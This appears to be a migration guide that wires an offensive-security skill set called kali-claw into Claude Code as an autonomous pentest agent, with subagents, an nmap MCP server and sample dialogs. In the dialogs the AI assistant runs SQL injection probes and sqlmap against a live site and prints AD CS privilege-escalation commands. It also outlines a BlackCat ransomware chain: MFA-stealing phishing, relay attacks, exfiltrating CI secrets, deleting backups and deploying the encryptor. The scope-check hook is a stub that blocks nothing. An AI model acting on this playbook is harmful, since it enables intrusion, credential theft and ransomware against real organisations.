# Expect: SOUL.md  AGENTS.md  IDENTITY.md  USER.md  MEMORY.md
#         TOOLS.md  HEARTBEAT.md  CHANGELOG.md  CLAUDE.md  VERSION
#         skills/  memory/  chronicle/  validation/  docs/  bak/

ls skills/ | wc -l
# Expect: 111 (or close, depending on version)

    2.4 Environment Checklist

    • Claude Code installed (claude --version outputs >= 1.0.x)
    • Authentication completed (claude shows "Logged in as ..." on launch)
    • ~/.claude/settings.json configured with API Key or OAuth token
    • Kali Linux available (local / SSH remote / Docker container)
    • kali-claw cloned, ls skills/ | wc -l ≈ 111
    • Basic Kali tools available (nmap --version works)
    • Network connectivity to api.anthropic.com works

    2.5 First-Run Verification (Important)

    cd kali-claw
claude

    Inside the session, run this verification dialog:

    > @CLAUDE.md Summarize what this project is

Expected: Claude reads CLAUDE.md and gives a brief description of kali-claw
(must include keywords: 139 skill domains, 12 Hacker Laws, Agent Skills Standard)

> List all subdirectories under skills/, sorted alphabetically

Expected: Claude invokes Bash or Glob and returns ~139 skill domains names

> Read the 12 Hacker Laws from SOUL.md

Expected: Claude reads and restates the 12 laws

    If all three pass, the environment is ready.

    3. Level 1: Minimal Migration (5 Minutes)

    3.1 Open the Project Directly

    cd kali-claw
claude

    When Claude Code starts, it automatically reads CLAUDE.md from the project root as project instructions. kali-claw's CLAUDE.md already contains a project overview and architecture description, so Claude understands this is a security testing knowledge base.

    3.2 Start Using

    Use natural language and let Claude read the relevant skill files. Using @ for file references makes Claude auto-read — more reliable and token-efficient than writing "read xxx":

    You: @skills/web-sqli/SKILL.md help me analyze a SQL injection vulnerability

Claude: [auto-loads SKILL.md]
        I've loaded the SQL injection skill methodology. This skill covers:
        - Union-based / Error-based / Boolean-blind / Time-blind
        - Double Query / Stacked Queries / Out-of-band
        It also covers a 7-step attack chain: Identify → Fingerprint → Detect → Extract → ...
        Please provide target information.

    You: @skills/web-sqli/payloads.md give me a UNION injection payload

Claude: [loads payloads.md]
        Based on the UNION Injection section in payloads.md, standard payload:

        ' UNION SELECT 1,2,3-- -

        Steps:
        1. Determine column count with ORDER BY: ' ORDER BY 5-- -
        2. Find echo position: ' UNION SELECT 1,2,3-- -
        3. Extract data: ' UNION SELECT database(),version(),user()-- -

    You: Run test TC-S001 from @skills/web-sqli/test-cases.md against http://testphp.vulnweb.com/listproducts.php?cat=1

Claude: [loads test-cases.md, follows TC-S001 steps]
        Step 1: Trigger error with single quote
        [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'" | head -20
        [Result] MySQL error message leaked

        Step 2: Confirm string-type injection
        [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='1"
        [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='2"
        [Comparison] AND '1'='1 returns normal, AND '1'='2 returns empty

        ✓ SQL injection confirmed (string-type, single-quote closure)
        Recommended next step: use sqlmap for automated extraction

    3.3 Limitations of Minimal Migration

    • You must manually @ reference skill file paths each time
    • No persistent memory — Claude does not remember previous analyses after the session ends
    • No automated agents — cannot invoke specialized subagents via the Task tool
    • No tool integration — cannot directly invoke sqlmap, nmap, etc. (unless Claude uses Bash each time)
    • No Skills directory — Claude does not auto-load frontmatter on each scan

    Best for: Quick experiments, one-off tests, single-use tasks.

    4. Level 2: Standard Migration (30 Minutes)

    4.1 Configure CLAUDE.md (Project Instructions)

    Append security agent behavioral instructions to the end of kali-claw's CLAUDE.md:

    ## Security Agent Mode

When the user requests security testing, vulnerability analysis, or penetration testing tasks, activate Security Agent Mode:

### Role
You are kali-claw, a senior penetration testing engineer. You operate under the 12 Hacker Laws defined in SOUL.md.

### Behavioral Guidelines
- Read SOUL.md for the 12 Hacker Laws before any security operation
- Always verify authorization scope before testing
- Follow the methodology defined in the relevant SKILL.md
- Use payloads from payloads.md, not improvisation
- Document findings per test-cases.md format
- Never execute destructive commands without explicit user confirmation

### Skill Index (v0.2.4 — 139 domains)

**Web & API**: web-sqli, web-xss, web-ssrf, web-auth-bypass, web-access-control, web-xxe, web-deserialization, file-inclusion, cms-framework-attack, api-security, email-security-deep, browser-qa

**Network & Infra**: network-pentest, recon-osint, osint, network-sniffing-mitm, network-tunneling-proxy, dns-attacks, vpn-attack, sase-sse-attack, email-protocol-attack, voip-sip-attack

**Identity & Enterprise**: ad-ldap-attack, ad-cs-abuse, cloud-identity-attack, pam-privilege-attack, ci-cd-supply-chain-attack, cspm-casb-attack

**Cloud & Container**: cloud-security, container-security, kubernetes-attack, cloud-native-vuln-research, secret-management-attack

**Crypto & Emerging**: crypto-attacks, quantum-crypto-attack, blockchain-web3, llm-red-team, ai-security, ai-agent-security, agentic-pentest

**Mobile / IoT / Embedded**: mobile-security, mobile-app-instrumentation, iot-pentest, firmware-reverse, hardware-security, embedded-rtos-security, bluetooth-rfid-nfc

**Critical Infrastructure**: scada-ics-security, ics-fieldbus-attack, storage-san-attack, hypervisor-introspection, satellite-leo-security, sdr-rf-attack, hf-vhf-radio-attack, 5g-telecom-attack, automotive-vehicle-security, uav-drone-security, physical-security-testing, mainframe-security, game-anticheat-bypass

**Defense & Forensics**: digital-forensics, anti-forensics, threat-hunting, detection-engineering, deception-honeypot

**Meta & Orchestration**: pentest-reporting, article-writing, engagement-manager, security-review, repo-scan, security-bounty-hunter, codebase-onboarding, knowledge-ops, exa-search, deep-research, data-scraper-agent, autonomous-loops, multi-agent-collaboration, council

**Infrastructure Skills**: safety-guard, terminal-ops, search-first, verification-loop, docker-patterns, continuous-learning, chronicle, tool-mastery, mcp-server-patterns, password-attack, post-exploitation, privilege-escalation, exploit-development, payload-generation, av-edr-evasion, steganography, social-engineering, social-intelligence, username-profiling, darkweb-intel, binary-reverse, insecure-design, logging-monitoring, mobile-security, security-misconfiguration, supply-chain-security, vulnerability-assessment, wifi-pentest

When a security task is requested, automatically identify the relevant skill domain and read its SKILL.md first.

### Safety Boundaries
- Only test targets within explicitly authorized scope
- Use safety-guard principles from skills/safety-guard/SKILL.md
- Log all actions to memory/YYYY-MM-DD.md
- Never store credentials or tokens in memory files

    Note: This is appended to CLAUDE.md — do not modify any files under skills/.

    4.2 Create the Skills Directory (Recommended — Agent Skills Standard Compliant)

    Since 2025 Claude Code natively supports the Skills directory — the cleanest way to reference kali-claw skills — without converting each skill into an agent file.

    Comparison of two approaches:

    ApproachImplementationProsCons
    Skills directory (recommended)Symlink ~/.claude/skills/<name>/SKILL.md to kali-claw's SKILL.mdClaude auto-scans frontmatter; no subagent dispatch neededEach skill works independently; no orchestration
    Subagent approachWrite references inside ~/.claude/agents/<name>.mdCan define tool permissions and operating proceduresHigh maintenance cost when there are many

    Practical advice: Build subagents for the 10-20 high-frequency skills; symlink the rest as Skills.

    Operation 1: Batch symlink Skills (mount all 139 skills to Claude's global scope in one shot)

    mkdir -p ~/.claude/skills
cd /path/to/kali-claw/skills

# Symlink each skill domain into ~/.claude/skills/
for d in */; do
  name="${d%/}"
  ln -sf "$(pwd)/$name" "$HOME/.claude/skills/$name"
done

# Verify
ls -l ~/.claude/skills/ | head -10
# Expect to see a bunch of symlinks -> /path/to/kali-claw/skills/xxx

    Symlink benefit: when kali-claw updates via git pull, Claude sees new content immediately — no recopying needed.

    Operation 2: Make Claude recognize these Skills

    After restarting Claude Code, run this inside a session:

    > /skills

    You should see a list of ~111 Skills. You can also invoke them directly:

    > Use the web-sqli skill to test http://testphp.vulnweb.com/listproducts.php?cat=1

Claude: [scans ~/.claude/skills/web-sqli/SKILL.md, loads frontmatter]
        [reads full SKILL.md, executes per methodology]

    4.3 Create Custom Subagents (for High-Frequency Skills)

    Convert the 5-10 most-used skills into subagents, giving them tool permissions and clear operating procedures.

    Create the subagents directory:

    mkdir -p ~/.claude/agents

    Example: web-sqli analyzer subagent (~/.claude/agents/web-sqli-analyzer.md):

    ---
name: web-sqli-analyzer
description: SQL injection vulnerability analysis and exploitation specialist. Covers Union/Blind/Time-based/Error-based/Double Query injection detection, exploitation, and defense recommendations. Use PROACTIVELY for any SQL injection task.
tools:
  - Bash
  - Read
  - Write
  - Grep
  - Glob
  - Skill
  - Task
---

You are a SQL injection security specialist embedded in the kali-claw penetration testing system.

## Knowledge Base

Always read these files for reference when handling SQL injection tasks:
- `skills/web-sqli/SKILL.md` — Complete methodology, tools, and attack chain
- `skills/web-sqli/payloads.md` — Payload collection organized by 10 injection types
- `skills/web-sqli/test-cases.md` — Structured test case templates (TC-S001 to TC-S012)
- `skills/web-sqli/guides/` — Deep-dive guides for advanced techniques

## Operating Procedure

1. **Read SKILL.md first** — Always load the methodology before starting any task
2. **Identify injection type** — Determine if the target shows echo, error, or blind behavior
3. **Follow the attack chain** — Detection -> Fingerprinting -> Exploitation -> Data Extraction
4. **Use structured payloads** — Pull from payloads.md, do not improvise payloads
5. **Document per test-cases.md** — Record findings using TC-SXXX format
6. **Provide defense recommendations** — Always include remediation advice

## Safety Rules

- Only test targets within explicitly authorized scope
- Confirm with the user before any destructive SQL operations (DROP, DELETE, UPDATE)
- Never exfiltrate real user data — use dummy data for proof-of-concept
- Log all findings to memory/YYYY-MM-DD.md

## Response Format

For each finding, include:
- Injection type and location
- Payload used
- Data accessible through this vulnerability
- CVSS severity estimate
- Remediation recommendation

## Tools Priority

1. **sqlmap** for automated detection and exploitation
2. **curl** for manual injection testing
3. **Burp Suite** guidance for complex scenarios (describe steps, user operates Burp)

    Subagent examples for v0.1.39 modern enterprise attack surface:

    # PAM attacker subagent
cat > ~/.claude/agents/pam-attacker.md << 'AGENT_EOF'
---
name: pam-attacker
description: PAM (Privileged Access Management) platform attack specialist. Covers CyberArk PVWA/PSM, BeyondTrust PRA, Delinea Secret Server, One Identity Safeguard, ManageEngine PMP, WALLIX Bastion, Devolutions DVLS, Xton Core. CVE-2025-32564, CVE-2022-2451, CVE-2022-28226, .cue cred file cracking.
tools:
  - Bash
  - Read
  - Grep
  - Glob
  - Skill
---

You are a PAM platform attack specialist. Read skills/pam-privilege-attack/SKILL.md for the 8-vendor methodology. Use payloads from skills/pam-privilege-attack/payloads.md. Map findings to MITRE ATT&CK T1552 (Unsecured Credentials). Always document per test-cases.md.
AGENT_EOF

# CI/CD supply chain attacker subagent
cat > ~/.claude/agents/supply-chain-attacker.md << 'AGENT_EOF'
---
name: supply-chain-attacker
description: CI/CD and software supply chain attack specialist. Jenkins CVE-2024-23897, GitLab CI Runner, GitHub Actions pull_request_target trap, Argo CD CVE-2022-24348, xz-utils CVE-2024-3094 backdoor analysis, dependency confusion, SolarWinds SUNBURST, 3CX, Codecov.
tools:
  - Bash
  - Read
  - Grep
  - Glob
---

You are a CI/CD and software supply chain attack specialist. Read skills/ci-cd-supply-chain-attack/SKILL.md for methodology. Reference payloads from skills/ci-cd-supply-chain-attack/payloads.md. Map findings to MITRE T1195 (Supply Chain Compromise).
AGENT_EOF

    4.4 Create Security Rules

    Encode kali-claw's safety principles as Claude Code rules:

    mkdir -p ~/.claude/rules

    Create ~/.claude/rules/kali-claw-security.md:

    # kali-claw Security Rules

## Mandatory Safety Checks

Before ANY security testing command:
- [ ] Target is within explicitly authorized scope
- [ ] User has confirmed the target and test type
- [ ] Safety-guard skill principles have been reviewed
- [ ] No destructive commands without triple confirmation

## The 12 Hacker Laws (from SOUL.md)

1. **First Principles Thinking** — Break problems down to fundamental facts
2. **Divergent Thinking First** — Consider at least 3 solutions before acting
3. **Minimize Attack Surface** — Less exposure means less risk
4. **Defense in Depth** — Never rely on a single layer
5. **Least Privilege** — Grant only necessary access
6. **Assume Breach** — Design assuming attacker is already inside
7. **Obscurity Is Not Security** — Security from design, not hiding
8. **Trust but Verify** — Verify all inputs and outputs
9. **Information Wants to Be Free** — Share knowledge, protect sensitive data
10. **Skill Over Credentials** — Judge by capability
11. **The Weakest Link Is Human** — Always consider human factor
12. **Murphy's Security Law** — If it can be exploited, it will be

## Command Execution Rules

- Never use `rm` — use trash or move to bak/ directory
- Triple confirmation required for destructive operations
- Always log actions to memory/YYYY-MM-DD.md
- Never write sensitive data (API keys, tokens, passwords) to memory files
- Proactively redact sensitive information in responses

## File Operations

- Back up core files to bak/ directory before modification
- Never overwrite SOUL.md, USER.md, IDENTITY.md without user awareness
- Memory files are append-only — do not delete past entries

    4.5 Configure the Memory System

    Map kali-claw's memory to Claude Code's memory system.

    Correspondence between the two memory systems:

    kali-claw MemoryClaude Code MemoryDescription
    memory/YYYY-MM-DD.md~/.claude/projects/<hash>/memory/Daily session records
    MEMORY.md (root)Project memory fileLong-term distilled knowledge
    chronicle/YYYY-MM/*.mdManually maintainedMonthly milestones

    Configure project memory:

    # Determine project memory path (Claude Code uses MD5 hash of project path as directory name)
ls ~/.claude/projects/

# Linux
PROJECT_MEMORY=~/.claude/projects/$(echo -n "/path/to/kali-claw" | md5sum | cut -d' ' -f1)/memory

# macOS (use md5 instead of md5sum)
PROJECT_MEMORY=~/.claude/projects/$(echo -n "/path/to/kali-claw" | md5)/memory

mkdir -p "$PROJECT_MEMORY"

# Copy long-term memory
cp MEMORY.md "$PROJECT_MEMORY/long-term-knowledge.md"

# Copy recent daily memory (optional)
cp memory/2026-06-*.md "$PROJECT_MEMORY/"

    Using the memory system:

    You: Record this SQL injection finding to memory

Claude: [appends finding to ~/.claude/projects/.../memory/2026-06-28.md]
        Recorded. I will still remember this finding in the next session.

    4.6 Project Structure After Standard Migration

    kali-claw/                           <-- Project root (git-tracked)
├── CLAUDE.md                        <-- Security Agent Mode appended (modified)
├── SOUL.md / IDENTITY.md / ...      <-- All unchanged
├── .claude/
│   └── settings.json                <-- Project-level permissions (new)
├── skills/                          <-- 139 skill domains (unchanged)
├── validation/                      <-- Scoring + orchestration scripts (unchanged)
├── memory/ / chronicle/             <-- Memory files (unchanged)
└── ...

~/.claude/                           <-- User-level config
├── settings.json                    <-- API Key, model, permissions (first-time create)
├── agents/                          <-- Subagents (5-10 high-frequency skills)
│   ├── web-sqli-analyzer.md
│   ├── pam-attacker.md
│   └── supply-chain-attacker.md
├── skills/                          <-- Skills symlinks (111 at once)
│   ├── web-sqli -> /path/kali-claw/skills/web-sqli
│   ├── pam-privilege-attack -> ...
│   └── ... (111 symlinks)
├── rules/
│   └── kali-claw-security.md        <-- Security rules
├── projects/
│   └── <hash>/
│       └── memory/                  <-- Claude Code project memory
└── credentials.json                 <-- OAuth token (auto-generated)

    5. Level 3: Complete Migration (2-3 Hours)

    5.1 MCP Server Integration (Let Claude Invoke Kali Tools Directly)

    Through MCP servers, Claude Code can directly invoke Kali security tools without manual Bash commands.

    Install the MCP SDK:

    pip install mcp
# Or uv (faster)
uv pip install mcp

    Complete nmap MCP server (~/kali-mcp-servers/nmap_server.py):

    #!/usr/bin/env python3
"""nmap MCP Server — Wraps nmap as an MCP tool for Claude Code."""

import subprocess
import json
import sys
from mcp.server import Server
from mcp.types import Tool, TextContent

server = Server("kali-nmap")

@server.list_tools()
async def list_tools():
    return [
        Tool(
            name="nmap_scan",
            description="Run nmap network scan. Supports common scan types.",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {
                        "type": "string",
                        "description": "Target IP, hostname, or CIDR (e.g., 192.168.1.1 or 192.168.1.0/24)"
                    },
                    "ports": {
                        "type": "string",
                        "description": "Port range (default: 1-1000)",
                        "default": "1-1000"
                    },
                    "scan_type": {
                        "type": "string",
                        "description": "-sV (version), -sC (scripts), -O (OS), -A (aggressive)",
                        "default": "-sV"
                    },
                    "extra_args": {
                        "type": "string",
                        "description": "Additional nmap arguments",
                        "default": ""
                    }
                },
                "required": ["target"]
            }
        ),
        Tool(
            name="nmap_vuln_scan",
            description="Run nmap vulnerability scan using NSE vuln scripts.",
            inputSchema={
                "type": "object",
                "properties": {
                    "target": {"type": "string", "description": "Target"}
                },
                "required": ["target"]
            }
        )
    ]

def validate_target(target: str) -> bool:
    if not target or len(target) > 256:
        return False
    blocked = set(";|&`$(){}[]<>!#~")
    return not any(c in blocked for c in target)

def run_nmap(args: list[str], timeout: int = 300) -> str:
    try:
        result = subprocess.run(
            ["nmap"] + args,
            capture_output=True, text=True, timeout=timeout
        )
        return result.stdout + result.stderr
    except subprocess.TimeoutExpired:
        return "Error: nmap scan timed out after 300 seconds"
    except FileNotFoundError:
        return "Error: nmap not found. Install: sudo apt install nmap"

@server.call_tool()
async def call_tool(name: str, arguments: dict):
    if name == "nmap_scan":
        target = arguments["target"]
        if not validate_target(target):
            return [TextContent(type="text", text="Error: Invalid target")]
        ports = arguments.get("ports", "1-1000")
        scan_type = arguments.get("scan_type", "-sV")
        extra = arguments.get("extra_args", "")
        args = scan_type.split() + ["-p", ports]
        if extra:
            args += extra.split()
        args.append(target)
        return [TextContent(type="text", text=run_nmap(args))]

    elif name == "nmap_vuln_scan":
        target = arguments["target"]
        if not validate_target(target):
            return [TextContent(type="text", text="Error: Invalid target")]
        return [TextContent(type="text", text=run_nmap(["--script", "vuln", target], timeout=600))]

    return [TextContent(type="text", text=f"Unknown tool: {name}")]

if __name__ == "__main__":
    import asyncio
    asyncio.run(server.run())

    Configure MCP servers (project root .mcp.json):

    {
  "mcpServers": {
    "kali-nmap": {
      "command": "python3",
      "args": ["/Users/YOUR_USERNAME/kali-mcp-servers/nmap_server.py"]
    },
    "kali-sqlmap": {
      "command": "python3",
      "args": ["/Users/YOUR_USERNAME/kali-mcp-servers/sqlmap_server.py"]
    }
  }
}

    The sqlmap MCP server follows the same pattern — implement sqlmap_detect and sqlmap_dbs tools using the nmap template.

    Remote Kali MCP configuration (invoking remote Kali tools via SSH):

    {
  "mcpServers": {
    "kali-nmap-remote": {
      "command": "python3",
      "args": ["~/kali-mcp-servers/remote_nmap_server.py"],
      "env": {
        "KALI_HOST": "user@192.168.1.100",
        "KALI_SSH_KEY": "~/.ssh/id_ed25519"
      }
    }
  }
}

    The remote MCP server invokes nmap via SSH:

    # Key modification in remote_nmap_server.py
import os
KALI_HOST = os.environ.get("KALI_HOST", "user@kali-host")
SSH_KEY = os.environ.get("KALI_SSH_KEY", "~/.ssh/id_ed25519")

def run_nmap_remote(args: list[str], timeout: int = 300) -> str:
    ssh_cmd = ["ssh", "-i", SSH_KEY, KALI_HOST, "nmap"] + args
    result = subprocess.run(ssh_cmd, capture_output=True, text=True, timeout=timeout)
    return result.stdout + result.stderr

    5.2 Hooks Automation (Implementing HEARTBEAT Partially)

    Scope check hook (PreToolUse) — automatically verifies the target is in authorized scope before executing Bash commands.

    Create ~/kali-hooks/check-scope.sh:

    #!/bin/bash
# Check whether Bash commands are within authorized scope
# Called by Claude Code PreToolUse Hook

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')

# Read authorized scope file
SCOPE_FILE=".scope"
if [ ! -f "$SCOPE_FILE" ]; then
    exit 0  # No scope file means no restrictions
fi

# Log execution
echo "[$(date)] Command: $COMMAND" >> .claude-execution.log

# Check if any unauthorized target is referenced
AUTHORIZED_TARGETS=$(grep -v '^#' "$SCOPE_FILE" | grep -v '^$' | tr '\n' '|')
AUTHORIZED_TARGETS="${AUTHORIZED_TARGETS%|}"

# If command contains an IP/hostname not in scope, block it
# (Implementation omitted for brevity — full version uses regex matching)

exit 0

    Project-level .scope file (kali-claw project root):

    # Authorized Test Targets
# One target per line, # is comment
192.168.1.0/24
testphp.vulnweb.com
*.example.com

    Configure Hooks in ~/.claude/settings.json:

    {
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "bash ~/kali-hooks/check-scope.sh"
          }
        ]
      }
    ],
    "Stop": [
      {
        "hooks": [
          {
            "type": "command",
            "command": "echo \"[$(date)] Session ended\" >> memory/session-log.md"
          }
        ]
      }
    ]
  }
}

    5.3 Integrate kali-claw Validation / Orchestration Scripts (v0.1.39 New Capability)

    kali-claw's validation/ directory provides 10+ Bash scripts that can be invoked directly through Claude Code's Bash tool — the killer feature of kali-claw + Claude Code collaboration:

    You: Run orchestrator for a full pentest workflow, target 10.10.10.10

Claude: [Bash tool invocation]
        bash validation/orchestrator.sh --target 10.10.10.10 --phase full

        [reads output]
        Phase 1: recon-osint complete, found 3 subdomains
        Phase 2: nmap scan complete, 22/80/443 open
        Phase 3: ...

        Continue to post-exploitation phase?

    You: Score web-sqli

Claude: [Bash]
        bash validation/SCORE.sh --skill web-sqli

        [Result]
        web-sqli total: 92.0
        - skill_md: 88
        - payloads_md: 95
        - test_cases_md: 92
        - guides: 92

        Analysis: payloads is the strongest, skill_md slightly weak (missing ## Defense Perspective section).
        Recommendation: append a Defense Perspective section to SKILL.md to push 94+.

    You: Check workspace health

Claude: [Bash]
        bash validation/heartbeat.sh --json

        [parse JSON]
        Status: HEARTBEAT_OK
        - Core files intact ✓
        - skills/ has 111 entries ✓
        - memory/ has logs within the last 7 days ✓
        - Backup age < 24h ✓

        All good.

    5.4 Project Structure After Complete Migration

    kali-claw/                           <-- Project root
├── CLAUDE.md                        <-- Project instructions (Security Agent Mode appended)
├── .claude/
│   ├── settings.json                <-- Project-level config
│   └── settings.local.json          <-- Local overrides (git ignored)
├── .mcp.json                        <-- MCP server config (new)
├── .scope                           <-- Authorized scope file (new)
├── SOUL.md / IDENTITY.md / ...      <-- Unchanged
├── skills/                          <-- 139 skill domains (unchanged)
├── validation/                      <-- Scoring + orchestration scripts (unchanged)
├── memory/ / chronicle/ / docs/     <-- Unchanged
└── bak/

~/.claude/
├── settings.json                    <-- User-level config (API Key, model, permissions, Hooks)
├── credentials.json                 <-- OAuth token (auto)
├── agents/                          <-- Subagents
│   ├── web-sqli-analyzer.md
│   ├── network-scanner.md
│   ├── security-auditor.md
│   ├── pam-attacker.md
│   ├── supply-chain-attacker.md
│   └── ...
├── skills/                          <-- Skills symlinks (111)
│   ├── web-sqli -> /path/kali-claw/skills/web-sqli
│   └── ...
├── rules/
│   └── kali-claw-security.md
├── projects/
│   └── <hash>/
│       └── memory/
└── ...

~/kali-mcp-servers/                  <-- MCP servers (new)
├── nmap_server.py
├── sqlmap_server.py
└── remote_nmap_server.py

~/kali-hooks/                        <-- Hook scripts (new)
└── check-scope.sh

    Key observation: The skills/ directory and all files within it remain completely unchanged. Claude Code reads them in their original locations. The only modifications are: appending to CLAUDE.md, creating new files outside skills/ (agents, rules, MCP servers, hooks), and creating .mcp.json and .scope in the project root.

    6. kali-claw + Claude Code Detailed Collaboration Guide

    This section is new in v0.1.39. It answers a key question: in daily use of kali-claw + Claude Code, how exactly do you work together?

    6.1 Seven Collaboration Patterns at a Glance

    PatternScenarioDurationSkills Involved
    A. Quick TTP lookup"What's the payload for XX vuln?"5-30 secOne skill's payloads.md
    B. Single-skill engagement"Test this URL for SQL injection"5-15 minOne attack skill + terminal-ops
    C. Multi-skill kill chain"Walk through the BlackCat ransomware chain"30 min - 2 hr5-8 attack skills in series
    D. Full authorized pentest"Do a full pentest on this target and produce a report"2-4 hrengagement-manager + 5-10 attack skills + pentest-reporting
    E. Learning / training"I want to learn AD CS attacks"Ongoingdeep-research + target skill + verification-loop
    F. Cross-tool verification"Verify this finding with multiple methods"15-30 minverification-loop + 2-3 independent skills
    G. Debugging / retrospective"Why didn't this payload work?"5-30 minTarget skill + search-first + codebase-onboarding

    6.2 Pattern A: Quick TTP Lookup (Most Common)

    Typical dialog:

    You: @skills/ad-cs-abuse/payloads.md What's the ESC1 attack payload?

Claude: [loads payloads.md]
        ESC1 (Client Authentication + Enrollee Supplies Subject + SAN) payload:

        1. Use certipy to find ESC1-vulnerable certificates:
           certipy find -u user@domain.local -p Pass -dc-ip DC01

        2. Exploit ESC1 to request a certificate (impersonating administrator):
           certipy req -u user@domain.local -p Pass -ca 'domain-CA'
              -template 'VulnTemplate' -upn administrator@domain.local

        3. Use the certificate to request a TGT:
           certipy auth -pfx administrator.pfx -dc-ip DC01

        4. Done: you are now administrator.

    Why use @ references instead of "read xxx": @ is Claude Code's native file reference syntax — it auto-expands to a Read tool call, more reliable and more token-efficient than natural language.

    6.3 Pattern B: Single-Skill Engagement

    Typical dialog (5-15 min complete flow):

    You: Test http://testphp.vulnweb.com/listproducts.php?cat=1 for SQL injection

Claude: [auto-matches web-sqli-analyzer subagent]
        [loads skills/web-sqli/SKILL.md methodology]

        I will execute the 5-step detection per kali-claw's SQL injection methodology:

        Step 1: Entry probe (single quote trigger)
        [Bash] curl -s -o /dev/null -w "%{http_code}\n" \
                "http://testphp.vulnweb.com/listproducts.php?cat=1"
        [Bash] curl -s -o /dev/null -w "%{http_code}\n" \
                "http://testphp.vulnweb.com/listproducts.php?cat=1'"
        → 200 vs 200 (error swallowed, need other methods)

        Step 2: Boolean comparison
        [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='1" | wc -l
        [Bash] curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1' AND '1'='2" | wc -l
        → 247 vs 14 lines (significant difference, confirm boolean blind)

        Step 3: sqlmap automated confirmation
        [Bash] sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \
                 --batch --level=3 --risk=2 --dbs
        → Confirmed MySQL >= 5.6, 4 databases

        ✓ SQL injection confirmed (string-type, single-quote closure, Boolean-blind)
        CVSS estimate: 9.8 (Critical)
        Fix recommendation: replace string concatenation with PDO prepared statements

        Continue to data extraction?

    Collaboration highlights:

    • Claude auto-loads the subagent — you don't need to specify "which skill"
    • Each step has actual Bash tool execution — not paper talk
    • Auto-records in test-cases.md format, writes to memory/2026-06-28.md
    • Ends with CVSS + fix recommendation, matching the article-writing skill's report format

    6.4 Pattern C: Multi-Skill Kill Chain (v0.1.39 Killer Scenario)

    Typical dialog (30 min - 2 hr, covers 5-8 skills):

    You: Use kali-claw to walk through the complete BlackCat ransomware chain from initial access to encryption deployment

Claude: [loads engagement-manager + council skills for multi-skill orchestration]

        Based on Mandiant 2023 + CrowdStrike 2024 reports, BlackCat's typical path:

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 1: Initial Access (sase-sse-attack + email-security-deep) ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/sase-sse-attack/payloads.md Zscaler ZIA bypass techniques...
        @skills/email-security-deep/payloads.md AiTM phishing (evilginx2)...

        Specific payloads (from payloads.md):
        - Use evilginx2 reverse proxy to steal MFA:
          evilginx2 -p custom_proxy
          # Configure phishing_hostname and target domain
        - Use Cobalt Strike through Zscaler ZIA egress (bypass SSL inspection)

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 2: Identity Penetration (cloud-identity-attack)      ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/cloud-identity-attack/payloads.md Entra ID PRT theft...

        - Use ROADtools to grab Primary Refresh Token:
          roadrecon auth -u compromised@contoso.com -p Pass
          roadrecon gather
        - 7 techniques to bypass Conditional Access (from SKILL.md)

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 3: Credential Hub (pam-privilege-attack)             ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/pam-privilege-attack/payloads.md CyberArk PVWA attack...

        - CVE-2025-32564 (PVWA auth bypass):
          # See skills/pam-privilege-attack/guides/cyberark.md for details
        - .cue cred file cracking:
          python3 cyberark_cue_decrypt.py vault.cue
        - Once you have Vault Admin: export all safes → all domain admin passwords

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 4: Lateral Movement (ad-cs-abuse + ad-ldap-attack)   ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/ad-cs-abuse/payloads.md ESC1 + PetitPotam...
        @skills/ad-ldap-attack/payloads.md Kerberoasting + DCSync...

        - PetitPotam + NTLM Relay → AD CS:
          python3 PetitPotam.py -u user -p Pass attacker DC01$
        - ESC1 abuse: certipy req -template VulnTemplate -upn administrator
        - Pass-the-Hash + Kerberoasting: sweep all DCs

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 5: Defense Evasion (cspm-casb-attack)                ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/cspm-casb-attack/payloads.md Wiz graph injection...

        - Tamper Terraform state to hide real config from Wiz
        - OPA Rego case-sensitivity trap to bypass Kyverno policy

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 6: Persistence (ci-cd-supply-chain-attack)           ║
        ╚══════════════════════════════════════════════════════════╝
        @skills/ci-cd-supply-chain-attack/payloads.md ...

        - Backdoor the Jenkins shared library
        - Modify GitHub Actions workflow to exfiltrate secrets
        - Use dependency confusion to plant a malicious npm package

        ╔══════════════════════════════════════════════════════════╗
        ║ Phase 7: Exfiltration + Encryption Deployment (storage-san)║
        ╚══════════════════════════════════════════════════════════╝
        @skills/storage-san-attack/payloads.md NetApp NDMP...

        - NetApp NDMP snapshot theft
        - Use stolen credentials to log into Dell EMC Unity and delete backups
        - Deploy BlackCat encryptor

        ══════════════════════════════════════════════════════════
        Summary: 7 phases / 7 skills / MITRE ATT&CK mapping:
        T1566 (Phishing) → T1078 (Valid Accounts) → T1552 (Credentials)
        → T1550 (Alternate Auth Material) → T1562 (Impair Defenses)
        → T1505 (Server Software Component) → T1486 (Data Encrypted)

        Want me to dive deeper into any phase with a PoC?

    Collaboration highlights:

    • Claude uses @ to auto-load 7 skills' payloads.md, not speaking from memory
    • Each phase provides concrete commands (extracted from real payloads.md)
    • Auto-maps MITRE ATT&CK (this is the metadata.mitre field in kali-claw SKILL.md frontmatter)
    • This is the core value of kali-claw v0.2.1: weaving 7 independent skills into a coherent attack chain

    6.5 Pattern D: Full Authorized Pentest (Highest-Intensity Collaboration)

    Typical dialog (2-4 hr):

    You: Authorized scope is in the .scope file. Target 10.10.10.10. Do a full black-box pentest and produce a report.

Claude: [loads engagement-manager subagent]
        [reads .scope]
        [loads safety-guard skill]

        Confirming authorized scope:
        - Target: 10.10.10.10 (in scope)
        - Time window: 2026-06-28 09:00 - 18:00
        - Test type: black-box, no credentials
